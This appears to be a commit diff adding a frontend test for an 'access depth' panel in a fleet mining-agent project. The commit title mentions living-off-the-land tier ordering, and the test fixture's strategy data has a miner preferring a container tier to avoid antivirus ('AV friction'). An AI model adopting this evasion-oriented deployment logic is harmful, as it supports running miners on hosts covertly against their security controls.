Add fleet adaptive strategy engine for proactive LOTL tier ordering
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 01:15:18 -07:00
parent 047d5c7252
commit 85376eac7c
23 changed files with 1141 additions and 6 deletions

View File

@@ -155,6 +155,31 @@ describe('AccessDepthPanel', () => {
expect(await screen.findByText('WinRM')).toBeInTheDocument();
});
it('renders adaptive strategy reasoning fixtures', () => {
renderPanel(
mockAgent({ platform: 'windows', status: 'online' }),
parseAccessDepthDiagnostics({
adaptive_strategy: {
tier_order: ['container', 'docker_load', 'wsl', 'cpu_inprocess'],
skip_tiers: ['exe_subprocess'],
confidence: 0.72,
reasoning: [
{
fact: 'Docker runtime available on Windows host',
inference: 'Container tier isolates miner from AV friction',
action: 'Prefer container before raw subprocess',
},
],
},
}),
);
expect(screen.getByText('Strategy')).toBeInTheDocument();
expect(screen.getByText('Adaptive')).toBeInTheDocument();
expect(screen.getByText('AI path')).toBeInTheDocument();
expect(screen.getByText(/Docker runtime available/i)).toBeInTheDocument();
expect(screen.getByText(/confidence 72%/i)).toBeInTheDocument();
});
it('shows pending chain when tiers not yet attempted', () => {
renderPanel(
mockAgent({